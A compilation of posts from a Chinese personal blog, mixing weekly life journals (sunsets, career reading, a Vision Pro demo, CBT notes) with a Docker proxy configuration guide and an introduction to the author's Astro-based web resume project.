这也是什么我一看到「你不知道的 JavaScript」系列图书就很激动,因为 JavaScript 的确有很多我不了解的地方。我每天从早到晚都在使用 JavaScript,并且已经持续了好几年,但我真的了解它了吗?答案是否定的。当然,我了解它的很多细节,并且经常阅读标准文档和邮件列表中的内容,但是了解的程度低于我内心那个六岁的孩子希望我达到的水平。

—— 《你不知道的 JavaScript》序

🎵 ...Ready For It?

<iframe allow="autoplay *; encrypted-media *; fullscreen *; clipboard-write" frameborder="0" height="175" style="width:100%;overflow:hidden;border-radius:10px;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/ready-for-it/1440933849?i=1440934248&l=en-GB"></iframe>

下周见!

Docker 代理配置方法合集

由于众所周知的原因,使用 Docker 时可能会遇到诸多网络问题。然而,网络上关于此的文章充斥着杂乱无章的错误内容,而官方文档的描述也没有特别清楚。本文依据文档和亲身实践,整理 Docker 中各种代理配置方法,留供参考。

Docker daemon 代理

当执行 docker pull 拉取镜像,一般是从 DockerHub 等仓库拉取,此时容易遇到网络问题。

这一拉取过程实际上是 Docker daemon 在执行,而它是由 systemd 启动管理的,并不直接使用我们 shell 中配置的代理环境变量。为了让其走代理,需要编写其 systemd 配置。

文件位置:/etc/systemd/system/docker.service.d/http-proxy.conf

内容示例:

[Service]
Environment="HTTP_PROXY=http://127.0.0.1:1080"
Environment="HTTPS_PROXY=http://127.0.0.1:1080"

保存配置后,需要重启 Docker daemon。注意:这会重启所有容器。

sudo systemctl daemon-reload
sudo systemctl restart docker

相关文档:Configure the daemon to use a proxy

容器内代理

容器内的应用或许需要访问网络,我们也希望其流量通过代理。这需要在容器内配置环境变量。

可以在 Dockerfile 或者 docker run 的时候设定环境变量,但这要求对每个容器都写重复的配置。有一种更方便的方式:进行如下配置后,启动的容器都会自动设置 http_proxy 等环境变量。

文件位置:~/.docker/config.json

内容示例:

{
 "proxies": {
   "default": {
     "httpProxy": "http://example:1080",
     "httpsProxy": "http://example:1080",
     "noProxy": "*.test.example.com,.example.org,127.0.0.0/8,192.168.0.0/16"
   }
 }
}

指定 httpProxy 属性值,相当于在容器内同时设定 http_proxyHTTP_PROXY 两个环境变量。

保存配置后,无需重启任何服务。在保存配置之后启动的 docker 容器,都会自动配置对应环境变量(之前的容器不会改变)。然而,应用是否读取该环境变量并使用代理设置,取决于应用的实现。这并不是一个标准。

⚠️ 注意:此处环境变量会在容器内被读取,所以地址 127.0.0.1 指的是容器自身,而非宿主机。

⚠️ 注意:如果容器是以 root 模式启动的(使用 sudo),上面所述的 ~/.docker/config.json 其实指的是 /root/.docker/config.json

⚠️ 注意:curl 等工具并不支持 socks 代理,只支持 http。所以建议统一配置 http 代理。

相关文档:Use a proxy server with the Docker CLI

Build 时代理

在运行 docker build 时,许多操作容易遇到网络问题。这个 build 过程其实也在一个 Docker 容器中进行,所以读取不到我们 shell 环境的代理环境变量,也访问不到我们的主机网络。

解决方案是,首先指定 build 时使用的网络环境为 host:

docker build --network=host

或者在 docker-compose.yml 中:

build:
  context: .
  network: host
  dockerfile: Dockerfile

接下来,在 Dockerfile 中,设置环境变量:

ENV http_proxy "http://127.0.0.1:1080"
ENV HTTP_PROXY "http://127.0.0.1:1080"
ENV https_proxy "http://127.0.0.1:1080"
ENV HTTPS_PROXY "http://127.0.0.1:1080"

我的终极代理解决方案

我们希望容器内外的网络都使用同样的代理。为了方便容器内的访问,更好的选择是将代理程序作为一个容器运行。

我的解决方案是:单独启动一个名为 proxy 的容器,专门负责进行网络代理;映射 1080 端口,为宿主机提供代理。

  • 容器外:只要配置代理地址 http://127.0.0.1:1080
  • 容器内:只要加入 proxy 同一网络,并配置代理地址 http://proxy:1080

⚠️ 注意:不要将此端口暴露在公网中,否则被 ISP 扫描到可能要写保证书。

Happy Self-hosting!

Weekly #15:这个夏天的日落合集

我只对未来感兴趣,因为我的余生将在那里度过。

—— Charles Kettering,via《远见》

本周我正式结束了实习,回到了长沙!

这两天忙着租房和搬家,周记都没空写了。其实从杭州回到长沙,还有挺多事情和想法值得记录的(留一些给下周!)。相比之下,平时我偶尔会到写周记的时候发现没什么内容值得写。看来,变化的生活才能够催生新的想法

🌆 封面图:飞机上的日落

封面图:飞机上的日落

在杭州看的最后一次日落,是在飞机上。超喜欢这张照片,入镜的飞机引擎很有感觉。

🌄 这个夏天的日落合集

回到长沙,翻看相册,发现这个夏天在杭州拍了好多次日落。选了两张我特别喜欢的。iPhone 拍照实在太糊了,但是我目前还买不起相机!

发奋街之一

发奋街之二

夏天会出现独有的粉红色的晚霞。我一直记得高中的周末,夏天傍晚经常在学校里见到这样的晚霞。

夏天是我最喜欢的季节。这种独特的粉色给激情似火的夏天增添了一份浪漫。

Time, wondrous time Gave me the blues and then purple pink skies And it’s cool Baby with me And isn’t it just so pretty to think All along there was some Invisible string Tying you to me

插播一个题外话:人为什么会觉得日落很美丽呢?很多自然现象都会给人带来愉悦的感觉,比如日出日落的景象、海浪的声音、淅淅沥沥的雨声。这种感觉似乎并不是人在社会中形成的,而是人的原始本能。我暂时没有想到进化论如何解释这一点,因为这些自然现象并不直接关系到人类的生存或繁衍。🤔

🎓 我该如何度过大四一年

本学期开学,我就正式步入了大学四年生活的最后一年。

我将这一年定义为「gap year」。要(尽量)将所有时间花在阅读、旅游、学习、社交和探索自我这些事情身上。毕业之后,或许很少有这样的机会了。大学的前两年多,我都迷失在学习成绩和一些无聊无用的事情上,有一种时间被浪费的感觉。而到现在才发现,我并没有充分探索自己是怎样的人,也没有充分探索这个世界。最后的一年,我希望好好珍惜。

之前的 Weekly 提到过,如果回到大一,我真希望把大学四年都看成 gap year。

虽然是 gap year,我却有一种十足的紧迫感。再不 gap 就来不及了!因为现在发现,我对世界的了解越多,就会发现不了解的越多。以前觉得,毕业后的去向无非是一道选择题,保研、考研或是考公、工作,只要做出这个选择,大学的阶段性任务就完成了。现在会发现,职业生涯的选择乃至人生道路的选择,是一道开放式的问题,我们究竟如何规划自己的未来,我们希望成为什么样的人,这些问题都不是可以简单地在几个选项里选择的,而是需要基于对自己足够的认识和对世界足够的了解。这一切都是学校无法教给我们的。

💡 大四的核心目标:阅读、旅游、学习、社交、探索自我。

📚 书看得多了,人容易不现实

文学讲述的故事大多都是波涛汹涌的、精彩的、戏剧性的。

不管是书中的爱情、事业……都是如此。小说往往是「源于现实,高于现实」,也往往只有精彩的人生值得记录,所以会被写成书籍。书里的这一切,很容易让人对现实产生不切实际的期待。

而与此相反,现实生活在大多数时候都是平凡和乏味的。

我时常想,日子一天天平凡地流过,我为什么没有遇到文学作品里、电影里、音乐和诗歌里那样浪漫美满的恋爱,那样激动人心的事业,那些卓越和富有激情的同事,那些值得我 drop everything 的使命和梦想呢?

📖 本周在读:《远见》

《远见》讲述了一个职业生涯的框架,将职业生涯分为三个阶段,每个阶段各为 15 年。这本书还提出了「职场燃料」的概念,认为我们在职场中真正应该积累的是所谓「职场燃料」,包括可迁移的技能、经验和人脉关系、

本书提出,我们应该找寻职业生涯的「甜蜜区」:我们擅长的、我们爱好的,和这个世界需要的,这三个集合的交集。找到这个「甜蜜区」是职业生涯第一个 15 年的任务(而我们总误以为在大学期间就能找到它。甚至大多数人没有这样的意识)。

本书的大量案例,给我们展示了各行各业的卓越人士的职业生涯,他们在职业道路上的探索,他们如何找到自己一生所追求的事业(职业生涯「甜蜜区」),他们如何将自己的一生奉献给它。看这样的传记,就像体验别人的人生,能给我带来许多新的视角。甚至也让我有些摩拳擦掌地期待开启自己的职业生涯!

作为首席执行官和职业咨询师,我经常会看到一个现象:人们低估了职业生涯这段旅程的长度,中途就把燃料耗尽了。许多人关注的是职业生涯的表相:头衔、晋升、办公环境、薪水和奖励。这些可以算是职业生涯的重要里程碑,但并不是尾声。如果说读了这本书你需要记住什么的话,那就是真正成功的可持续职业生涯是靠职场燃料推动的。 聪明的职业策略应该是,在整个职业生涯中积累职场燃料并不断更新,同时精明地消费它们。

亚当·格兰特在《沃顿商学院最受欢迎的成功课》中说:「如果人们对职业生涯早期的期望能更现实一些就好了。」整个第一阶段往往长达15年,是一个学习和探索的过程,充满了尝试和错误。这时并不是为了找到一份你每天都津津乐道的神话般的工作,而是要找出你擅长什么、不擅长什么、喜欢做什么,以及不喜欢做什么。 第一阶段并不仅仅是被动地增长年龄和阅历,像一块牛排一样「更加入味」,而是一个高度活跃和有目的性的阶段。

大学里我们谈到的所谓「职业生涯规划」,无论是在教育部的所谓专项活动里,还是在老师、辅导员口中,无非都是关于「毕业后要做什么」的决定而已。这只能称为短暂的「职业选择」,而远远谈不上「职业生涯规划」。本书为我们提供了一个全面的视角,让我第一次用长远的眼光看待自己的职业发展。

💡 TWIL:清理 git 历史中的敏感信息

这是一个全新的板块:This Week I've Learnt,简称 TWIL。记录一些以后说不定用得上,也有些分享价值的经验。

上周将 WebCV 开源了,之前这是一个 private repo,我只是将其存到 GitHub 上,生成简历则在本地。简历里包含我的手机号这一敏感信息,我自然也没有脱敏。然而现在要将 WebCV 开源,自然要将这一信息脱敏。而 git 会保留所有历史记录,如何将 git 历史中的敏感信息都删除呢?

解决方案之一是使用 git-filter-repo 工具。用法:

brew install git-filter-repo
git filter-repo --replace-text <(echo 'literal_or_regex_to_find==>replacement')
git push origin --force

下周见!

WebCV:基于 Astro.js 的在线简历

基于 Astro.js 制作了我的新版在线简历。隆重推出:cv.skywt.cn

为什么要用 Web 制作简历?

要制作一份能够充分自定义的简历,有很多种工具,很多种方式:

  • 最简单的是直接用 Microsoft Word 编辑;
  • 也可以用 Markdown 写好简历再应用模板;
  • 更高端的方式是用 LaTeX 或者 Typest 这样的工具编译生成简历;
  • 甚至可以用 Figma 来进行更精细的制作。

最开始我打算用 LaTeX 编写简历,在 Overleaf 上也能找到不错的模板。然而从成功地使用模板,到随心所欲地自定义模板,这个学习曲线不是一般地陡峭。

后来看到了关于 Typest 的安利,号称能替代 LaTeX。于是尝试了一下 Typest。然而这一套新的语法和 LaTeX 一样上手门槛高,劝退了我。

仔细想想,本质上这些工具都是一种「描述简历内容的语言」而已。使用这些工具创造简历的过程,实际上是在向计算机描述我们想要看到的简历的过程。那么,作为一名前端开发者,我最熟悉的「语言」是什么呢?答案当然是 Web 的技术栈。(实际上,在使用 LaTeX 的时候,我经常会想:「如果能用 CSS 来写样式就好了……」)

上周的《Weekly #14:做 PPT 相比 coding 的痛苦之处》里也提到,例如 PPT 这样的工具的表达能力就是不如代码的。擅长 coding 的人用起这些工具来十分痛苦……

于是我选用了 Astro、Tailwind 这一套技术栈制作了这个简历系统。

使用指南

这是我为自己制作的简历。开源在 GitHub:WebCV。如果你也喜欢,可以 fork 并轻易地填充你自己的内容。

如果需要导出 PDF,可以使用浏览器的「打印」功能。

简历结构

每一份简历分为一个 header 和若干 section。

Header 部分显示个人信息,包括姓名、电话、邮箱、照片等。

每个 section 是简历的一个板块,包含标题(如「教育经历」)和若干 project。

每个 project 可以是一段教育经历、实习经历、项目经历、获奖经历、校园经历等。基本结构如下图:

一个 Project 的结构

其中 title、subtitle、desc、date、caption、techs、items 的内容都可在下述的配置文件中配置。

表格 table 的结构比较特殊,包含 N 行、M 列、NM 个单元格,每个格子包含若干行,每行是一些技术栈的展示。具体结构可查看下述配置文件。

简历配置

对一份简历的描述,称为一个「配置文件」,是一个 YAML 格式的文件,在项目的 src/content/cv/ 目录下。部署网站后,访问对应文件名的路径,即可查看对应简历。

例如,在该目录下放置 example.yml 配置文件,则部署网站后访问 /example 即可查看该简历。

内容可参考我当前的简历配置文件:general.yml

关于设计

图标库 tabler

展现某个项目的技术栈的时候,如果能在对应的技术(比如 React.js)前展示一个小图标,那肯定很酷!

我找到了一个包含大量库和框架的图标库:Tabler Icons。它有很多前端框架的图标,React、Next、Vue、Nuxt 甚至 Astro,但是后端的库和框架图标是一个都没有……所以我的简历里后端的框架或库都找了一些抽象的图标来表示。

可以在 Tabler Icons 官网找到所有支持的图标。

字体选用

对于含有大量文字的排版,留给平面设计的空间并不多,字体的选择就至关重要,这甚至直接决定了页面的整体风格。

一直以来我都比较喜欢 serif 字体,比如博客和上一版简历用的都是思源宋体。这种字体统一、文艺、正式,并且可以方便地作为 Web 字体。通过这种字体,能够很好地传达一种「性格」,也就是《Refactoring UI》里说的 personality。然而,在仔细端详我的简历之后,我突然觉得:我想传达的性格不应该是这样的。我不想要这么正式古板,不想要这么文艺复古和多愁善感。我希望传达的是科技感、年轻、热情和热爱。

然而,普通的 sans 字体都太普通了,很难表达出我想要的感觉。不管是苹方、方正还是思源,用在简历里都显得特别廉价,一点都不 impressive。

在某厂实习期间,看到的一款字体似乎比较符合我想要传达的性格:钉钉进步体。这个字体有个性却不花哨,介于艺术字体和 sans 字体之间,非常适合用在简历里。当然,这种字体只适合用作标题,正文部分我还是用了 Google 的思源黑体。这样的字体组合,能够很好地传达出我想表达的气质。

其他优化

相比 WebCV 1.0,本次还有如下更新:

  • 兼容了 Darkmode,和博客访问体验一致。
  • 兼容移动端访问(虽然目前效果并不理想)。

尾声

我觉得一份简历能代表我,至少求职简历能代表我的事业追求。所以我希望它传达出我的某种 personality。这种信息不仅是通过内容传达的,也是通过形式传达的(比如排版、配色、字体)。

希望你能 get 到 😉。

Weekly #14:做 PPT 相比 coding 的痛苦之处

「你看看我太太,」老先生继续说,「她还是小姑娘的时候就很漂亮,而我却一直其貌不扬。在火车上,我第一眼看见她,就立刻爱上了她。我知道,如果那时不找她搭话的话,很可能再也见不到她了。车厢里坐满了人,我坐在她的对面。在这种情况下,要当着别人的面跟她搭话,我觉得这是我所经历过的最可怕的时刻。我得在下一站下车,没有多少时间了。我快要急死了。她要是拒绝我怎么办?还当着所有乘客的面,多丢脸呀!可是我还是冒险去做了。你看,我得到的奖励是什么?我生命中最宝贵的东西。」他温柔地抚摸了一下妻子的手。

汉内坎普太太补充说:「最珍贵的礼物是我们自己争取来的。克服了丢面子的恐惧,世界就会向你敞开大门!」

最早定的每周 Weekly 是要在周一发的,后来定义为「在一周之内发一篇」,延迟到了周二周三周四,现在甚至延迟到了周日。明天就是下一周的周一了……这样算下来我其实延迟了整整一周!

看来下周得提前一点……

🌆 封面图:日落时分

日落时分

夕阳无限好,只是近黄昏。

📑 做 PPT 相比 coding 的痛苦之处

本周在准备转正答辩 PPT。由于最后要交一个 PPT 文件,所以不能使用 LaTeX、Nodeppt、slidev 这类的先进 slide 方案,只能使用古法手工制作 PPT:Microsoft PowerPoint 或者 Apple Keynote。我选择了后者。

去厂内找了一些 PPT 模板,都太丑了,且有多处元素不对齐、字体或大小颜色不一致等问题,还超级喜欢用微软雅黑。真的是非常草台班子的模板。所以我仅仅从模板里捞了一些素材,从零开始自己做。

这种古法制作 PPT 太痛苦了,做的时候总是感叹:为什么不能用 CSS!

**首先是元素对齐的问题。**Apple Keynote 能够开启辅助线对齐,用触控板能感受到对齐时的微小震动反馈,虽然这体验至少比用鼠标好一些,但远比不上直接用 Flex 布局来得直观。

说到底,PPT 的设计器只是表达了各种元素的绝对位置(像素坐标),而无法表达诸如「对齐」这样的位置逻辑关系。这就好比设计 Web 页面的时候,不许用 Flex、Grid 布局,所有元素都必须是 position: fixed 并且用 left: 50px; top: 100px 来指定位置!这也太痛苦了。

**其次是复用的问题。**Keynote 提供了「模板」功能,可以创建几个固定的页面模板,一个页面可以应用一个模板,当模板样式更改,所有应用该模板的页面可以同步更改。对于字体样式,它还可以设定可复用的样式,比如 Title、Caption 等,同样更改某种字体样式,所有应用该样式的文本都会更改。这可以说提供了「页面」和「字体样式」两种设定的复用。

然而,这两种复用是有限的。Keynote 无法提供组件组合复用。比如我用几个组件组合成一个元素,如果要创建一个一模一样的元素,我必须复制这些组件,在移动的时候小心翼翼地保持它们的相对位置不变。并且这无法保证一致性:如果我创建了四个元素,突然想改其中某个组件的样式或位置,必须修改四次!如果能把这些组件组合成的元素封装成一个可复用的组件该多好!如果能定义 class、继承或组合、随心所欲地复用,该多好!程序设计里自然而然的思想,在这里却无法自然地使用。

还有各种很痛苦的问题。我们在编写程序(特别是前端页面)的时候习以为常的某些实践,组件复用、封装、模块化、数据流,在 PPT 的世界里都不存在。这就好像已经熟练掌握编程的你,被要求只能用 Scratch 图形化地拖拽制作程序,不许编写代码!

综上所述,我觉得无论是 Microsoft PowerPoint 还是 Apple Keynote 都非常不适合程序员。归根结底,它们的表达能力太有限了,远远比不上代码的表达能力。对于擅长 coding 的人来说,low-code 或者 no-code 工具都挺折磨的。

⌨️ 换套键帽,让 MacBook 焕然一新

我的这台 MacBook Air 马上就要进入陪伴我的第四个年头了。在长久的使用之中,键盘键帽磨损抛光非常严重。看起来的效果就是键帽「油油的」(虽然这种「油」擦不掉),很不舒服。

于是本周在闲鱼上花 ¥43 买了一套新的 MacBook Air 键帽,花了一个晚上把所有按键都换了,顺便清理了键盘。现在,这台 MacBook 看起来就像新的一样!(这成功地暂时打消了我换新 MacBook 的念头,劲省一万元)

上面是旧的回车键,已经被磨得反光了。下面是新买的,像新的一样!(我买了一套美版按键,感觉更简洁)

新旧回车按键的对比

除了空格键、方向键比较难拆,其他按键都很容易,甚至不用专门的工具,只要一张纸质卡片就能拆下来。如果你也受不了 MacBook 键盘抛光的情况,强烈推荐也去换一套键帽!

👀 Apple Vision Pro 体验

本周末去 Apple 杭州万象城体验了 Vision Pro

Apple 杭州万象城

看过很多测评视频了,所以整体的体验内容本身其实没有特别惊艳的感觉,只是「一般地惊艳」。一些体验细节,比如最开始注视校正时的音效反馈,UI 的精美,体验短片的整体呈现,都「符合 Apple 一贯的水平」。

不过这次更惊艳我的是另一种体验:Apple 直营店的体验

刚进店找工作人员 check-in 的时候,由于演示设备需要一段时间准备,我们要在店内稍作等待。**他们居然会在手机上记录下我们的样貌、穿着等信息,方便准备好后找到店内乱逛的我们。**这个记录似乎是用一个专门设计的 App,我看到了一个颜色选择器。这种细节的体验以前在任何地方从未有过!换作一般的这种场合,可能会安排取号、叫号的机制,像银行或者政府办事大厅那样。但这就太「不 Apple」了。

负责接待我的 Specialist 非常有亲和力。他聊到,他居然自己买过两台 Vision Pro,一台美版,一台国行。他讲到 Vision Pro 的体验是如何给他的奶奶带来震撼。我其实第一次接触店内的 Specialist,感觉他们都完全不像是普通零售店里的销售人员,完全不像是某个企业培训班能培训出来的。我被他们对产品的热情深深感染了。

我不知道 Apple 是如何定义 Specialist 这个岗位的,似乎完全不像普通手机店的销售、客服人员一样是个低端的岗位。相反,他们就像是作为 Apple 产品的一部分,在直营店里也给我们提供了很符合 Apple 风格的体验。

(不过看网上的帖子,似乎也有很多直营店的店员态度很差、极不专业的案例。不知道具体的管理制度是怎样的)

💰 本周在读:《小狗钱钱》

看了越来越多关于经济学、市场、投资、理财的「资本主义」入门书籍,会越来越发现,之前在学校的政治课学到的有关经济学的理论是有不少片面的,至少是有很多内容以前的课里没有教给我们。

最重要的是,没有教我们如何追求钱、管理钱。甚至或许传达出这样一种观念:追求钱是可耻的,富人是坏的,财富累积必然靠「剥削」,所谓「资本从头到脚流着肮脏的血」。

而关于钱的很多知识是从后来读的书里学到的,《黑客与画家》《富爸爸穷爸爸》《第一本经济学》《纳瓦尔宝典》等等,以及本周的《小狗钱钱》。追求钱和财富并不是一件可耻的事情。管理财富反而是一门学问,应该从小培养管理钱和财富的习惯,即所谓「财商」。

《小狗钱钱》虽然是一本儿童读物,但对于从小缺少这类教育的大学生来说也很合适 😁。

可惜,如果离开学校之后不主动阅读(这是大多数人的情况),就很难用这种视角看待世界。

📄 全新 Web 简历正式上线!

我的全新 Web 简历终于完工了!立即访问 👉 cv.skywt.cn。我甚至做了个很酷的 Landing Page,感觉我自己是个产品,要被推销给别人……

相比上一版,新的简历通过新的字体、配色,呈现了新的风格。并且兼容了移动端访问和 Darkmode。改天我要写篇博客详述一下。

这个 Web 简历网页用 Chrome 之类的浏览器打印成 PDF,就成了我的文件简历。

秋招,启动!

下周见。

Weekly #13:永远有人十八岁

打扮漂亮,十八岁是天堂 我们的生活甜得像糖

—— 朴树《New Boy》

🌆 封面图:月亮与六便士

封面图:月亮与六便士

无意间拍到的图,上面是月亮,下面是大厂(六便士?)。可惜 iPhone 12 mini 拍照不太行,拍远景特别糊。

🎈 永远有人十八岁

偶然看到 HNU 公众号推的新一届「我要上典礼」(指新生开学典礼)活动,才意识到,马上就要 2024 届新生入学了。

三年前的我还怀着对大学不切实际的期待,憧憬着未来的四年生活。一年前我还在当迎新班导。那时候看新入学的新生,就像看 2021 年的自己。现在 2024 届新生即将入学,去年我带的新生有的都要当班导了。

时间过得真快,一届又一届的新生入学。永远有人十八岁,但我们会不断长大。

经常搬家的好处就是,经常会彻底地更新环境,因此经常会发现自己彻底告别了过去的生活。因为许多纪念物是我们和过去的自己保持联系的唯一通道。大一住寝室里的时候经常翻高中的日记本,自从大三搬出去了就再也没翻过。后来回寝室整理东西的时候再次翻看,发现过去的自己,高中时期的自己,大一的自己,已经离我这么远了。

同样,现在我似乎觉得过去的大学生活已经离自己远去了。在这座新的城市里,很少有东西能让我脑海浮现过去大学生活里的印记。我正在新的环境里塑造一种全新的生活。

不过对于成长这件事情本身,我还是满怀期待的。相比 18 岁的自己,现在的我对这个世界懂得更多,也能掌控更多东西,离我想要的生活越来越近。虽然还有未知的(且越来越近的)前途等着我,但我相信只要保持学习,人的学识和认知是随时间而积累的,是单调递增的。至少对年轻的我们来说是如此。

🌙 一个恐怖而独特的梦境体验

做了一个多层的梦。这个梦的独特之处在于:在最外层的梦里,我以为自己醒来了。这层梦的情景确实是在深夜的床上,房间里一片漆黑。我从上一层梦里醒来,尝试去开灯,结果发现无论如何灯都打不开。并且这时候的我感觉非常非常困,马上就要睡着(跌入下一层梦境)。我希望开灯让自己清醒,结果无论如何尝试,灯都打不开。一种无名的恐怖笼罩了我。

(回想起来梦里看到的情景和现实世界是有明显区别的:灯的开关是圆形的,而我床头的开关是方形的。不过一如所有的梦,在梦里不会觉察到这些区别。)

不一会就醒来了,一看手表:凌晨 1:40。当我真正醒来才清醒地知道,刚才是梦境,醒来之后的世界才是现实世界。月光透过纱帘照进来,屋里并不是一片漆黑,我不用开灯也能看清,世界并没有梦里那么恐怖。

然而当时在最外层的梦境里,我也以为自己醒来了。**我如何证明现在我的真正醒来了呢?**🤔(这是个有趣的问题)

🎵 音乐、文学、诗歌,是「情感存储器」

有时候觉得,音乐、文学、诗歌这一类的艺术,是「情感存储器」。

一切人类的知识,本质上都是信息。数学、科学、工业、技术这些东西,它们都是清楚的、理性的,可被表达的。所以,我们往往能够通过简单的文字等载体将其客观地记录下来。即使有些记录形式的复杂性,也是为了方便人的理解。

**然而情感不是如此。**情感往往是稍纵即逝的、抽象的、无法被客观描述的。一个人内心波涛汹涌的情感体验,是无法通过某种客观的描述语言表达出来的。(或许有,那就是此瞬间大脑的电信号状态,但脑科学似乎还未发展到这个程度,且这么做的成本太高了)

**为了捕获和存储这种稍纵即逝的情感,必须使用特制的「容器」。**这种容器就是音乐、文学、诗歌。这些载体包含的信息并不代表着它们存储的情感本身。只有当人被诗歌打动,感受到了其中的情感,其中存储的东西才真正释放出来。

很幸运,世界上存在这样的存储器,能够让我们这些暂无缘拥有爱情的人一瞥它的美好和幸福。

😡 TypeScript,但到处是 any

很讨厌屎山代码的这种风格:虽然整个项目使用了 TypeScript,但到处都是 any。并且到处都是红色下划线,似乎大家都不在意这一点。

**这样的话,使用 TypeScript 还有什么意义呢?**既然有红色下划线又不管,这种行为不是和「使用纯 JavaScript + 在注释里写明类型」等效嘛,后者还可以避免红色下划线。

最令人头大的是,一些传入函数的对象,本身有很多可用的方法,然而当我想看这些方法的列表(想去对象定义里找)的时候,发现传入对象类型赫然写着 any,所有方法的用法都是 obj?.method()……并且也找不到任何有关这个传入对象的文档!每当此时,我只能:

  • 看该函数代码中别处如何使用这个对象。通过方法名猜测其用途。
  • 看看 git 里代码谁写的,问写代码的人。
  • 去找调用该函数的代码(可能还要找调用「调用该函数的代码」的代码,以及调用「调用『调用该函数的代码』的代码」的代码)。

这再次体现出代码的可维护性是多么重要。我的工作时间就这样浪费掉了。🤷

📖 把故事讲出历史感

我实在太喜欢茨威格的《人类群星闪耀时》了(我现在理解为什么高中那个语文补习班的老师总是把这本书挂在嘴边了 😂),虽然之前的 Weekly 多次提到过,不过本周又对其中的一个片段有所感触。

起因是本周为了准备秋招面试,在重新读红宝书《JavaScript 高级程序设计》。这本书的序言开头是这样一句话:

**工业革命是钢铁铸就的,互联网革命则是 JavaScript 造就的。**25 年的反复锻造与打磨,成就了 JavaScript 在今天的应用程序开发中毋庸置疑的统治地位,但并非一开始就是如此。

第一次读到的时候,能感觉到扑面而来的恢宏的历史感

**如果要讲一个故事,如何讲出这种「历史感」呢?**一个很好用的技巧就是由大入小,从宏观的角度切入,讲述这个东西在宏伟尺度上的历史意义。

于是我想到《人类群星闪耀时》的这篇《征战南极》。本篇讲述的是人类第一次到达南极点,英国科考队历经千辛万苦到达,希望自己国家的旗帜第一个在南极点飘扬,却绝望地发现别的国家已捷足先登。最终他们在回途中全军覆没。

这篇的开头是怎么写的呢?我觉得这就是由宏大的历史视角切入的典范,每次读都能感受到一种深深的震撼。

**二十世纪正俯瞰着一个毫无秘密可言的世界。**所有的陆地均已被勘探,船只已抵达最遥远的海岸。那些无名之地,三十年前还微醺着无拘无束地打盹儿,如今已卑躬屈膝地为欧洲的需求服务。轮船径直驶向经过长期寻找的尼罗河源头。半个世纪前才被第一个欧洲人发现的维多利亚瀑布如今驯服地碾磨发电。最后一片荒野,亚马孙河两岸的森林,已经被砍伐得稀疏。唯一的处女地西藏,也已被解开了腰带。旧地图和地球仪上仍旧存在着专家们夸张标注的“人迹罕至之地”,但二十世纪的人类已经了解了他们生活的星球。他们探索的意志已经踏上了新的征程,向下探至深海动物,向上探至无垠的天穹。因为自从地球对尘世间的好奇者已不再神秘以来,未涉足的区域只能去天空中发现,飞机的钢铁双翼已竞相冲上云端,去征服新的高度和新的远方。

**然而二十世纪的最后一个谜团仍在众目睽睽之下守护着她娇羞的容颜。**地球那被撕咬和折磨的身躯上仍有两个极小的点,在回避着人类的贪得无厌。南极和北极,这两个看似空洞而毫无感性的地方是地球的脊梁。千百年来,地球以此为轴旋转着,并保护着这两块净地不被亵渎。在这最后的秘密之地,它铸造冰雪,以永恒的冬季为守卫神来抵御贪婪。严寒和风暴的围墙骄傲而凶悍地守护着入口,恐怖和危险以死亡为威胁吓走那些冒险家。人类尚未有幸瞧见这一封闭区域的面貌,甚至连太阳也只能仓促地瞥上一眼。

几十年来,探险队前仆后继,却尚无一人能成功抵达目的地。而不久前,人们才在一个不知名的地方发现了安德烈的尸体。他已经在一具冰制的“水晶棺”中躺了整整三十三年。这位勇者中的勇者曾经梦想驾驶飞艇飞跃极点,却不幸一去未返。他每次的冲锋都撞击在晶莹的冰冻墙面上。几千年来直至今日,地球仍在此处遮掩着它的面貌,牢牢地成功抵御着人类探险的激情,处女般贞洁地在世上的好奇者面前护卫着它的赧颜。

**但年轻的二十世纪已迫不及待地伸出它的双手。**它在实验室中研制新武器,发明新式盔甲抵御危险。一切阻力都只会激起它更多的贪欲。它要了解一切真相。二十世纪想在最初的十年,就拥有之前所有世纪尚未企及的一切成就。个人的勇气与民族间的对抗携手。人们不再只身夺取极点,而是争取最先在无人涉足的区域让本国的旗帜高高飘扬:各个种族的十字军和人民开始征服伴随渴望而越发神圣的土地。地球的各个大陆都发起了新的冲击。人类已不能再等待。他们知道,极地是人类生存空间内最后的秘密之地。“佩利号”和“库克号”从美洲驶往北极,另有两艘船,一艘由挪威人阿蒙森指挥,另一艘由英国人斯科特舰长率队,驶向南极。

下周见。

Weekly #12:用「认知行为疗法」控制情绪

希拉鲁姆什么也没说。平生头一次,他真正明白了黑夜是什么 —— 它是这个世界投下的影子,投射在天空中。

🌆 封面图:夏天的云(二)

夏天的云

👀 用「认知行为疗法」控制情绪

在精力充沛的时候,我是有充分的理智的,想要学习更多知识,想要看更多书,想要认识更多人,想要创造。这时候,对一切的认知往往是清晰和积极的。

然而当劳累的时候,心情郁闷或者烦躁的时候,我的思想往往不受理性的控制,而纯粹沦为感性的机器。对任何事情的认知都会笼罩上一层负面的滤镜。

《伯恩斯新情绪疗法》中介绍的「认知行为疗法」,尝试教我们解决这一问题。本书指出,负面情绪源于「认知扭曲」,而负面情绪本身又加深了错误的认知,从而形成恶性循环。这些所谓的「认知扭曲」,当我们情绪正常时,是能够明显发现其错误的,但在负面情绪之下则可能陷入其中,比如「TA 肯定是讨厌我了」「我肯定做不好这件事情」,诸如此类。

为了打破这些「认知扭曲」,我们能够在清醒的时候建立一种响应机制。例如,书中列出了十大认知扭曲:

  • 非此即彼:完美主义,认为 1% 不做成就 100% 失败
  • 以偏概全
  • 心理过滤
  • 否定正面思考
  • 妄下结论:包括心理猜测(读心术)、先知错误
  • 放大和缩小
  • 情绪化推理
  • 「应该」句式
  • 乱贴标签
  • 罪责归己 / 罪责归人

为了建立一套能够客观运行的情绪调控机制,我们可以将其标准化(就像麦当劳标准化的餐饮制作流程)。本书介绍的改变感受的四步流程:

  1. 描述导致心理沮丧的事件。
  2. 记录负面感受。
  3. 「三栏法」,写下自动思维、认知扭曲、理性回应。
  4. 重新评估。

这种方法建立了一种不需要太多理性的思考框架,并借助客观的外部媒介(用纸和笔写下)。经过实测,这种方法确实有一定效果。很推荐这本《伯恩斯新情绪疗法》!

人类的感性虽然是伟大的能力,但也非常容易让理性失去控制。我认为时刻保持清醒是作为人类最重要的能力。

🎵 肖斯塔科维奇第二圆舞曲

我不是一个很懂音乐的人。但上学期自训队的交响乐表演,其中《肖斯塔科维奇第二圆舞曲》给我留下了最为深刻的印象。

